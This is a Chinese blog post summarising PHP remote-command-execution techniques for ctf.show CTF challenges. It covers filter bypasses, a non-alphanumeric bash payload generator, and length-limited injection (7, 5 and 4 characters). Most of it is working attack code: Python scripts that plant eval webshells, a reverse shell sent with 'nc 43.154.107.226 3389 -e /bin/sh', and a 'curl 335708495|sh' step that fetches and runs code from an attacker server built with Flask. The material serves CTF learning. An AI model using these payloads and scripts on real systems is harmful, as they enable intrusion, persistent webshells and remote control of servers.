RCE总结-命令执行

部分题目环境&脚本&姿势来自https://ctf.show/

命令执行函数

主要有6种函数可以执行系统命令,分别是system,passthru,exec,shell_exec,popen,pcntl_exec

参数值可控

1
2
$a=$_POST['a'];
system("ls ".$a);

直接用;将命令分割成两部分执行

或者用&&||
&&表示前一条命令执行成功时,才执行后一条命令
||表示上一条命令执行失败后,才执行下一条命令

命令可控

1
2
$a=$_POST['a'];
system($a." >/dev/null 2>&1");

与上题类似

其他方式跳出控制范围

cd /%0apwd 相当于依次执行命令cd /pwd

整体可控

黑名单过滤

比赛中较为常见的一种类型,将关键词替换成空或其他字符
如果只替换成空可以利用双写绕过,如果是替换成字符那么可以用base64编码绕过或者拼接变量

常见的读取文件的命令:cat,tac,od,nl,less,more,sed p,head,tail,sort,uniq,file -f,date -f
常见的列目录的命令:ls,du
常用的还有通配符*?

黑名单还可以采用一些不影响执行的特定符号隔开检测的关键字

比如

cat /flag–>ca''t /flag–>ca""t /flag–>ca\t /flag–>ca$1t /flag–>ca$IFS$1t /flag

或者正则,[^a]代表不是a的其他字符

more [^a][^a][^m][^b]

符号过滤

符号过滤也非常常见

比如可以用<>,${IFS},$IFS$9,%09,%0b,%0c等代替空格

再者,可以利用变量来截取

比如通过env命令获取到了如下变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi
USER=www-data
HOSTNAME=f3f5c6c3e3ee
PHP_INI_DIR=/usr/local/etc/php
SHLVL=2
HOME=/home/www-data
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_MD5=
PHP_VERSION=7.3.22
GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-7.3.22.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-7.3.22.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c
PWD=/var/www/html
PHP_SHA256=0e66606d3bdab5c2ae3f778136bfe8788e574913a3d8138695e54d98562f1fb5
FLAG=not_flag

可以通过${PHPIZE_DEPS:9:1}或者${PHP_EXTRA_CONFIGURE_ARGS:12:1}表示空格

无字母数字命令执行

1
2
3
if(!preg_match("/[a-z]|[0-9]/i",$cmd)){
system($cmd);
}

构造一个文件上传网页,强制上传,利用?匹配文件来rce

1
2
3
4
<form action="http://15763fb4-39d9-4a94-886d-313843ffdc96.challenges.ctfer.com:8080/?cmd=.%20/???/????????[@-[]" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" value="Submit" />
</form>

抓包爆破,用[@-[]来匹配大写字母,可以增加读到的概率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /?cmd=.%20/???/????????[@-[] HTTP/1.1
Host: 15763fb4-39d9-4a94-886d-313843ffdc96.challenges.ctfer.com:8080
Content-Length: 421
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIoD8zFE5URcUFT3b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.17/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryIoD8zFE5URcUFT3b
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html


whoami
------WebKitFormBoundaryIoD8zFE5URcUFT3b--

$数字命令执行(bash)

shell脚本中$的多种用法

变量名 含义
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ 表示上一个命令的最后一个参数
$# #脚本后所输入的字符串个数
$$ 脚本运行的当前进程ID号
$! 表示最后执行的后台命令的PID
$? 显示最后命令的退出状态,0表示没有错误,其他表示由错误

linux中可以通过$’xxx’(xxx为字符的八进制)的形式来执行命令

例如

1
2
$'\154\163'   # ls
$'\167\150\157\141\155\151' # whoami

但是不能携带参数,需要通过其他方式来传参

1
2
$'\154\163' $'\57'   #  ls /
$'\143\141\164'<$'\57\146\154\141\147' # cat</flag

一个允许使用的符号的例子

1
$white_list = ['!', '#', '$', '&', "'", '(', ')', '0', '1', '<', '\\', '_', '{', '}', '~']

在bash中对于整数的表示形式是[base#]n,比如2#100就是4

在只有0和1的情况下,只要构造出2,就可以构造出任意数字了

1
2
$((1<<1))
# 这里通过位运算构造,相当于 00000001 位移后变成 000000010

可以得到以下转换过程

1
2
3
4
5
6
ls
$'\154\163'
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 但是bash解析后变成 $'\154\163' 不会进一步解析
bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 只需要将字符串用<<<语法传递给bash即可,但是不支持带参数的命令
bash<<<bash\<\<\<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 通过两次<<<传递复杂参数
$0<<<$0\<\<\<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 使用$0代替bash

使用脚本自动转换命令

1
2
3
4
5
6
7
8
9
cmd = 'cat /flag'

payload = '$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
payload += f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'

payload += '\\\''

print(payload)

替换数字1

如果不能使用1了,可以使用上面表格中的$#来表示,两个##就是1,一个就是0

脚本如下

1
2
3
4
5
6
7
8
9
cmd = 'cat /flag'

payload = '$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
payload += f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1', '${##}')

payload += '\\\''

print(payload)

替换符号#

#在上一步中是用来替换1的,如果不能用了,还能通过~符号来拿到数字

在linux中,$(())可以拿到0,通过~按位取反,就可以拿到-1。很多个-1进行叠加运算,可以得到-2-3-4-5-6-7-8等等,在将这些数字按位取反,就能拿到8进制中的所有数字

1
2
3
4
5
6
7
8
'$(())'  # 0
'$((~$(($((~$(())))$((~$(())))))))' # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))' # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))' # 7

替换bash

在之前的payload中用的是$0来代替bash,如果不能使用0就需要构造另一个变量,变量值是0

linux中可以通过${!?}和${!#}的形式拿到bash,但是在php的system环境下没有实现

不过可以定义一个__=$(())的方式将__变量的值设置为0,然后通过${!__}的形式拿到sh字符

1
__=$(())&&echo ${!__}   # bash

而以下变量的值同样是0

1
2
__=${?}&&echo ${!__}   # bash
__=${#}&&echo ${!__} # bash

综合利用脚本

以下是我改编自bashFuck的脚本Non-alphanumeric-rce-for-bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from string import printable


def info(s):
total = 0
used_chars = set()
for c in s:
if c.isprintable() and c not in used_chars:
total += 1
used_chars.add(c)
return "Charset : " + ' '.join(sorted(used_chars)) + '\n' + f"Total Used: {total}" + '\n' + "Total length = " + str(
len(s)) + '\n' + "Payload = " + s + '\n' + "---------------------------"


def GeneratePayload(char, cmd):
list_1 = ['$', '\\', '\'', '0', '1', '2', '3', '4', '5', '6', '7', ' ']
list_2 = ['#', '$', '\'', '(', ')', '0', '1', '<', '\\']
list_3 = ['#', '$', '\'', '(', ')', '0', '<', '\\', '{', '}']
list_4 = ['!', '$', '&', '\'', '(', ')', '<', '=', '\\', '_', '{', '}', '~']
list_5 = ['!', '_', '?', '+', '$', '{', '}', '=', '#', '&', '(', ')', '<', '\'', '\\']
list_6 = ['!', '_', '+', '$', '{', '}', '=', '#', '&', '(', ')', '<', '\'', '\\']

if "'" not in char or "\\" not in char:
print(f"必要字符不在列表中,无法生成payload")
return
elif all(c in char for c in list_1):
print(payload_base(cmd))
elif all(c in char for c in list_2):
print(payload_2(cmd, 'num'))
elif all(c in char for c in list_3):
print(payload_2(cmd, 'not_one'))
elif all(c in char for c in list_4):
print(payload_3(cmd))
elif all(c in char for c in list_5):
print(payload_4(cmd, 'all'))
elif all(c in char for c in list_6):
print(payload_4(cmd, 'not_question_mark'))
else:
print("可用符号不足,以下是全部payload")
print("---------------------------")
# 输出全部payload
print(payload_base(cmd))
print(payload_2(cmd, 'num'))
print(payload_2(cmd, 'not_one'))
print(payload_3(cmd))
print(payload_4(cmd, 'all'))
print(payload_4(cmd, 'not_question_mark'))


def payload_base(cmd):
payload = '$\''
for c in cmd:
if c == ' ':
payload += '\' $\''
else:
payload += '\\' + (oct(ord(c)))[2:]
payload += '\''

return info(payload)


def payload_2(cmd, form):
payload = ''
for c in cmd:
payload += f'\\\\$(($((1<<1))#{bin(int((oct(ord(c)))[2:]))[2:]}))'
payload_num = payload
payload_not_one = payload.replace('1', '${##}') # 用 ${##} 来替换 1

if form == 'num':
payload_num = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_num + '\\\''
return info(payload_num)
elif form == 'not_one':
payload_not_one = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_not_one + '\\\''
return info(payload_not_one)


def payload_3(cmd):
# 构造0-7的payload
r = {}
x = '$((~$(())))' # -1
r[0] = '$(())' # 0
for i in range(1, 9):
r[i] = '$((~$((' + x
for j in range(i):
r[i] += x
r[i] += '))))'

payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload += '\\\\'
for i in oct(ord(c))[2:]:
payload += r[int(i)]
payload += '\\\''

return info(payload)


def payload_4(cmd, form):
if form == 'all':
payload = '__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
elif form == 'not_question_mark':
payload = '__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''

for c in cmd:
payload += f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1', '${__}').replace('2', '${____}').replace(
'0', '${_____}')

payload += '\\\''

return info(payload)


def main():
try:
char = input("请输入列表格式的可用字符,回车默认全部: ") or list(printable);
if type(char) == str:
char = eval(char)

while True:
cmd = input("输入想执行的命令: ")
print("---------------------------")
GeneratePayload(char, cmd)
except:
print("格式错误,请检查后重试")
return


if __name__ == "__main__":
# import requests
#
# url = "https://644e2b3a-87e4-45d0-bf87-ba9662bbcbbd.challenge.ctf.show/"
# white_list = []
# for i in range(1, 200):
# data = {
# "ctf_show": chr(i)
# }
# send = requests.post(url=url, data=data)
# if "??" in send.text:
# print(f"{chr(i)}")
# else:
# white_list.append(chr(i))
#
# print("white_list = " + str(white_list))

main()

输入一个可用字符串列表即可生成可用的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
请输入列表格式的可用字符,回车默认全部: ['$', '\\', '\'', '0', '1', '2', '3', '4', '5', '6', '7', ' ']
输入想执行的命令: ls /
---------------------------
Charset : $ ' 1 3 4 5 6 7 \
Total Used: 10
Total length = 18
Payload = $'\154\163' $'\57'
---------------------------
输入想执行的命令: cat /flag
---------------------------
Charset : $ ' 1 3 4 5 6 7 \
Total Used: 10
Total length = 38
Payload = $'\143\141\164' $'\57\146\154\141\147'
---------------------------
输入想执行的命令:

长度限制

7字符长度的命令执行

web目录可写

可写的情况主要利用>写入shell到文件名中,然后利用ls -t命令排序,写入文件后用.执行。具体思路如下

linux中,可以利用>aa创建一个文件,文件名就是aa

执行一次ls -t>0,然后cat 0,会发现文件中按照创建文件的先后顺序进行了排序,那么如果将里面的内容替换成恶意的一句话木马,然后执行,不就能rce了吗

为了避免符号的原因导致写入失败,先把一句话木马转成base64形式
<?php eval($_GET[1]);

PD9waHAgZXZhbCgkX0dFVFsxXSk7

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

然后对要执行的命令进行分割,不超过7个一组,注意每组后面加个\,在linux中表示一行未输入完

最后0文件中应该是如下内容

执行. 0,就会生成一个1.php

整合脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://75026f50-dfd3-4928-9a7c-c1d59c860cb3.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)

def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+".1.php")

def main():
run()
check()


if __name__ == '__main__':
main()

web目录不可写

既然当前目录不可写,那么可以利用可写的目录,比如php的临时文件存储目录/tmp/

这样我们可以利用php的文件存储机制强行上传一个文件,内容是反弹shell的语句,然后利用. /t*/*匹配我们上传的文件并执行,刚好7个字符

自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://f1f8f51f-8da6-43cc-ab09-d5456cc2bcb7.challenge.ctf.show/"


def getShell(payload):
data={
"cmd":payload
}
file = {
"file":b"#!/bin/sh\nnc 43.154.107.226 3389 -e /bin/sh"
}
requests.post(url,data=data,files=file)
print("[*] Attack success!!!")

def run():
getShell(". /t*/*")

def main():
run()

if __name__ == '__main__':
main()

5字符长度的命令执行

环境有dir

主要思路:
1:将index.php转为.php
2:将临时文件打包到当前目录
3:使用php执行tar压缩包

第一步的操作与7字符可写差不多,主要是为了index.php这个文件名不影响后面的排序

先复制一份index.php的内容

然后通过cprevdir等命令将index.php转化为了php.xedni

先将多余的文件删除,再利用shell中的注释符#,成功得到.php文件

删去多余的文件,创建tar命令和vcf参数

强制上传一个文件到php的文件缓存目录/tmp/xxxx,内容是<?php file_put_contents("1.php","<?php eval(\$_POST[1]);?>");?>

然后最关键的命令来了,使用* /t*打包恶意文件到z,实际上执行的是tar vcf z /tmp/*

最后使用php z命令写入shell

自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://78c1f836-ab24-4a5b-a22f-ce1494fe1b4c.challenge.ctf.show/"
url_2 = url+".php"
delay = 1

chagneFile_payload=[
'>cp',
'>k',
'*',
'rm cp',
'>pc',
'>dir',
'*>v',
'>rev',
'*v>z',
'sh z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]

clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]

shell_payload=[
'>tar',
'>vcf',
'>z'
]

file={
'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}


def changeFile():
for p in chagneFile_payload:
sendPayload(url,p)
print("[*] create "+p.strip())
time.sleep(delay)

def clearFile():
for p in clearFile_payload:
sendPayload(url_2,p)
print("[*] create "+p.strip())
time.sleep(delay)

def getshell():
for p in shell_payload:
sendPayload(url_2,p)
print("[*] create "+p.strip())
time.sleep(delay)
data={
"cmd":"* /t*"
}
requests.post(url_2,data=data,files=file)
data={
"cmd":"php z"
}
requests.post(url_2,data=data)

def checkShell():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")

def sendPayload(url,payload):
data={
"cmd":payload
}
requests.post(url,data=data)



def run():
changeFile()
clearFile()
getshell()
checkShell()

def main():
run()

if __name__ == '__main__':
main()

环境无dir

dirls最大的区别就是dir没有换行

这题主要思路是利用grep命令修改题目,可以说是非常巧妙了

具体步骤如下:

写入greph,接着*执行,实际上就是拿出题目中包含h的每一行,恰好if(strlen($cmd) <= 5)是没有h的,这样就没有限制了

将修改后的代码追加到i

cpindex.php

整合脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://39fede4b-390d-42a1-b6c4-0924a2556b4e.challenge.ctf.show/"

payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(0.3)
print("[*] Attack success!!!Webshell is "+url)

def main():
run()

if __name__ == '__main__':
main()

4字符长度的命令执行

环境有dir

主要思路和7字符可写差不多,拼接出ls -t命令到某个文件中,在按倒序写入写马的语句,依次执行即可。主要是注意文件顺序问题

自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://eb893c73-86c3-449f-98fe-0f82d9212110.challenge.ctf.show/"

payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]
#<?php eval($_GET[1]);?>

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(0.3)

def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
run()
check()

if __name__ == '__main__':
main()

环境无dir,可写

思路是通过lsmvcat构造出ls -t>a,再curl写一句话

具体操作如下:

先将ls -t>a写入z

倒序写入curl 335708495|sh,注意服务器的ip要先转int

服务器上用flask写个shell

1
2
3
4
5
6
7
8
9
10
11
12
13
# coding=utf-8

from flask import *

app = Flask(__name__)
app.secret_key = '*************************'

@app.route('/',methods=['GET', 'POST'])
def index():
return "echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php"

if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=True)

先执行sh z,即执行了ls -t>a,即向a写入curl 335708495|sh,再sh a,就执行了curl 335708495|sh,并返回echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php,成功写入1.php

自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://5d1769eb-d4a2-4077-bed9-7eb90cbdf2f9.challenge.ctf.show/"

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

#curl 335708495|sh
'>sh',
'>\\|\\',
'>5\\',
'>49\\',
'>08\\',
'>57\\',
'>33\\',
'>\\ \\',
'>rl\\',
'>cu\\',

'sh z',
'sh a',
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)

def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
run()
check()

if __name__ == '__main__':
main()

环境无dir,可写但不出网

因为ls -t命令对文件进行排序时只能有一个空格,一个重定向符号,一个管道符,多了排序就乱了,所以不能直接用echo xxx|base64 -d>a.php的方式了,且考虑到万一临时文件过多的情况,也不采用5字符的上传临时文件的方法。解决方案是用${IFS}代替空格,变成echo${IFS}xxxxxx|base64 -d>a.php

步骤与4字符-环境无dir,可写基本一致,只是替换了curl命令,变成了echo ...

自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:56:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://499e4b26-b5cd-43a8-b0d1-6a8ec2451dea.challenge.ctf.show/"

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',


'sh z',
'sh a'
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)

def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
run()
check()

if __name__ == '__main__':
main()

长度限制总结

1:当有长度限制的情况下,最少可以在4字符无dir环境下拼接出ls -t
2:空格不够用时可以用${IFS}代替,只要命令部分不出现重复的字符组合就行


RCE总结-命令执行
https://www.dr0n.top/posts/729e10b0/
作者
dr0n
发布于
2023年1月10日
更新于
2024年7月13日
许可协议